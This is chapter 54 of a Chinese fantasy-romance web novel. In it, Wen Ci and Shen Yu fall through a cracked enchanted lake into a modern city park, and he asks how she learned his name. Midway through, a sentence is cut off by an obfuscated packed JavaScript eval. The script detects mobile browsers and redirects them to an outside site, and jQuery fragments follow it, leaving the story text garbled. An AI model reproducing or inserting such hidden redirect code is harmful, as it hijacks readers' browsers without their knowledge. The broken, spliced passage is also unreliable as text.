54.冰裂

作品:《攻略对象他不是人[快穿]

    一抹绿色的枝蔓,正从沈逾的指尖涌出,亲昵地攀上了温辞细白的手指。


    它缓缓地旋转缠绕上女孩温热的肌肤,在那道伤口前停了下来。


    那植物形态的枝蔓,此时灵活得像一尾吐着蛇信子的小蛇。


    它温柔地舔舐上了那道已经凝固了的伤口,将那抹浅淡的血迹,尽数吸收了去。


    片刻后,它还像不满意,枝蔓上覆盖的细密绒毛,随即从那浅薄的伤口上入侵。


    根系纠缠,像织网一样修补着皮下的血肉。


    一眨眼的工夫,伤口便在两人的眼皮底下,完美地愈合了。


    温辞也被它通体覆盖着的细密绒毛,磨蹭得僵在了原地。


    她惊诧地抬起头,对上了一张同样震惊的脸。


    沈逾眸色深沉,平日里或冷静自持,或慵懒肆意的表情皆已不见。


    他眉头紧皱,只盯着那抹不受控制,还在往女孩手腕上攀爬的枝蔓,往后退了一步。


    像是要将那枝蔓拉回来。


    但枝蔓丝毫没有松开的迹象,随着沈逾的用力,还将温辞带着往前了一步,差点扑进沈逾的怀中。


    “你等等,别扯!”


    温辞连忙喊停,她感觉到有细密的绒毛,沿着手腕一路蜿蜒向上,正紧紧地缠绕着自己的皮肤,带来了一阵密集的痒意。


    她一下将袖子整个撸了上来,乳白细腻的肌肤,就这样暴露在了冰冷的空气之中。


    她按住了还想往衣襟里延伸的藤蔓,脸上莫名泛起了一丝红晕。


    “沈逾!你快把它收回去!”


    情急之下,她没再道貌岸然地喊沈逾家主,只脱口而出了沈逾的名字。


    沈逾已经两百年没有听到有人这么喊自己,一下也愣住了。


    那枝蔓像是也随同主人卡顿的思绪一样,停住了往里延伸的动作。


    温辞见枝蔓不动了,开始揪枝蔓绿芽柔嫩般的顶端,想将它从自己皮肤上揪下来。


    温辞温热的手指在枝蔓上揪了半天,才将那紧紧黏着自己皮肤的嫩绿扯开,握在了掌心里。


    她抬头看向沈逾,想让沈逾快些把这些东西收回去,却看见沈逾那冷白的耳尖,奇怪地变得通红。


    他像是僵在了那里,只盯着紧握在温辞柔软温热的掌心里,同他一样僵住了的嫩绿枝蔓。


    “沈逾!”


    “快收回去!”


    温辞来不及细想,一边喊,还一边紧捏着摇晃了几下手心的东西。


    下一秒,沈逾像是突然回过神来,连同着还缠绕在温辞软肉上的枝蔓,齐齐往后退了一步。


    枝蔓唰地一下抽离,过快的速度,在温辞的皮肤上带起一阵摩擦的灼热感。


    温辞惊呼了一声,随即获得了自由。


    她低头借着月色,看了眼自己的胳膊,只见那白皙的皮肉上,正明晃晃地残留着几道蜿蜒直上的红痕,十分明显。


    “你……”


    温辞刚想问沈逾这是怎么回事,就看到沈逾正眸色深沉地看着自己。


    眼底是她看不懂的情绪。


    “家主?”


    温辞小心翼翼地喊了一声。


    沈逾的视线瞥过温辞裸露在外的胳膊,最后停在了温辞透着不解与疑惑的双眼里。


    “你怎么不喊沈逾了?”


    “……”


    温辞后知后觉地想起来,按理说,她是不应该知道家主的真正姓名,而现在……


    “你别说是崔今告诉你的。”


    沈逾只盯着眼前女孩明显有些措手不及的表情。


    “他不会。”


    “我……”


    温辞正苦思冥想要怎么圆上这个漏洞,只听脚下厚厚的冰层,发出了一声清脆的异响。


    连带着岸边雪松上的积雪,都被震落了下来。


    [小辞!]


    [快上岸!]


    [湖底有异动!]


    [冰层要裂开了!]


    温辞低头看向了冰层。


    只看到自己的脚边,以刚刚那一滴坠落的鲜红血迹为中心,冰面正如蛛网般向四周延伸着碎裂的痕迹。


    一眨眼的工夫,已经将冰面上的两人,网入其间。


    她惊诧地往后退了一步。


    咔嚓。


    咔嚓。


    温辞感觉像是踩上了云层。


    她抬眸看着沈逾神色慌张地朝自己的方向跨了一步,修长的五指却只掠过了自己的一片衣角。


    温辞脚底一阵失重,她坠入了一片漂浮的湖水中。


    真的是漂浮的湖水。


    破碎的冰层,冰绿的湖水,在温辞的头顶飘荡而过。


    温辞失重地下坠着,想象中的冰冷与窒息却并没有出现。


    她依旧自由地呼吸着。


    并且后知后觉地感受到了腰间缠绕的力量。


    温辞在有些失真,像老旧电视机一样卡顿闪烁的湖水背景中,看到了同样下坠的沈逾,和从沈逾身后蔓延而出的,裹挟着自己的枝蔓。


    他也跳下来了。


    沈逾在急速的下坠中,一把将温辞卷至身侧。


    “禁湖已经冰封了两百年,”


    “温辞,你到底做了什么。”


    男人冷冽的声线响在头顶,温辞抬头看了过去,只看到了沈逾一小片冷白的下颌骨。


    “我真的不知道。”


    下坠的速度越来越快,温辞忍不住揪住了沈逾胸前的衣襟,在头晕目眩中紧紧闭上了眼睛。


    沈逾没说话,但温辞感觉到腰间的藤蔓,似乎将自己裹得更紧了些。


    不知道过了多久。


    就在温辞以为两人要这样下坠到天荒地老时,耳边似乎传来了隐隐约约的白噪声。


    有人声,虫声,还有邮轮的鸣笛声。


    声音越发清晰。


    温辞将不知道在什么时候埋进沈逾怀中的脑袋抬了起来,便看见了一片霞光初露的天际。


    接着身体一沉,温辞被搂在沈逾的怀中,在松软的,还沾着露水的草坪上,滚作了一团。


    清新的青草气息,伴随着沈逾身上的隐隐散发的植物冷香,一股脑地涌入了温辞的鼻息。


    温辞还在恍惚到底发生了什么,一道尖锐的喊叫声在两人身后响起。


    “啊!!”


    “这是大白天啊!”


    那声音越靠越近,在路过两人面前时,还停顿了一下。


    片刻后又响了起来。


    “真是世风日下!伤风败俗啊!”


    温辞茫然地抬起脸,就看到一位晨练打扮的奶奶,正边走边回头看着自己的方向,嘴里还嘟嘟囔囔个不停。


    “这是公园,不是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14277793|145425||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你们家!”


    “现在的小年轻,真的是……都是些什么癖好!”


    温辞还僵着趴在沈逾的怀中,听完那奶奶一连串略显愤怒的责骂,这才恍惚着坐起了身。


    周围像是一片公园,公园里有不少出来晨练的大爷大妈们,正零零散散地分布在公园各个角落。


    公园不远处是一条分割两岸的汹涌江水,在晨光熹微中,江面波光粼粼,正闪烁着细碎的光芒。


    江面有几艘巨型邮轮,正鸣笛着经过横跨两岸的大桥底下,在水面分割出一道道逆流而上的水纹。


    江对面则是直入云霄的高楼大厦,代表着沈氏集团荣耀的大楼,就林立其中。


    “这是……离开镜岛了……?”


    温辞茫然开口。


    温辞低头看了眼沈逾,沈逾漆黑的瞳孔中倒映着璀璨的江面,像一颗抹去灰尘,重见天日的黑曜石。


    “啧啧啧!”


    “你俩再不起来,我要叫公园保卫处来赶人了啊!”


    一位大爷路过草坪边,发现了还纠缠在一起的两人,敲着拐杖怒骂道。


    温辞这才发现自己与沈逾,皆是衣冠不整。


    自己不仅揪着身下男人的衣领,还大胆暧昧地将其压在草坪上。


    男人修长的五指,还紧贴着自己的腰线,旁若无人地搂着自己。


    温辞被两人诡异的姿势一下惊得跳了起来,在大爷骂骂咧咧的声音中将还愣在地上的沈逾拽了起来。


    “不好意思不好意思!”


    温辞一边道歉一边拉住了沈逾的手。


    “啊啊快走快走,我的脸要丢光了啊!”


    等到两人终于离开了那片老大爷大妈晨练的公园,温辞才终于想起了要放开沈逾的手。


    然而温辞的手,没能离开那个微凉的掌心。


    沈逾在江面投射过来的粼粼波光中,握着温辞手的指节,声音低沉,不容拒绝。


    “回答你之前还没回答的问题。”


    “温辞,你为什么会知道我的名字?”


    温辞指尖动了动,只换来了沈逾更大的力道。


    仿佛温辞要是不说话,他就要将人捏碎在汹涌的江水边。


    “沈逾……你轻点……”


    温辞乌黑的眉头皱在了一起,十分委屈地看了沈逾一眼。


    见沈逾依旧目光沉沉地看着自己,丝毫没有松手的迹象,温辞索性手一软,任人紧握着,开始回答沈逾提出的问题。


    “就是那天,崔管家将我送入你房间那夜。”


    温辞有些不自在地摸了摸自己的颈侧,仿佛又陷入了那夜沉溺幻境的无助中。


    “你在吸食我血液的同时,我不知道为什么,落入了你的回忆中。”


    “我在幻境中,看到了你……”


    “从落入湖水,到被救起。”


    “还有被救起后发生的一切……”


    温辞顿了顿,斟酌了一下用词。


    “包括你无法死亡,以及需要鲜血为生的经过……”


    温辞抬头看向沈逾。


    那清澈无比的眼神里,带着股亲身经历般的难过。


    “我不是故意偷窥属于你的隐私,但我陷在你的幻境里,怎么也无法脱离。”


    “所以我才会知道你的名字。”


    “沈少爷,沈逾。”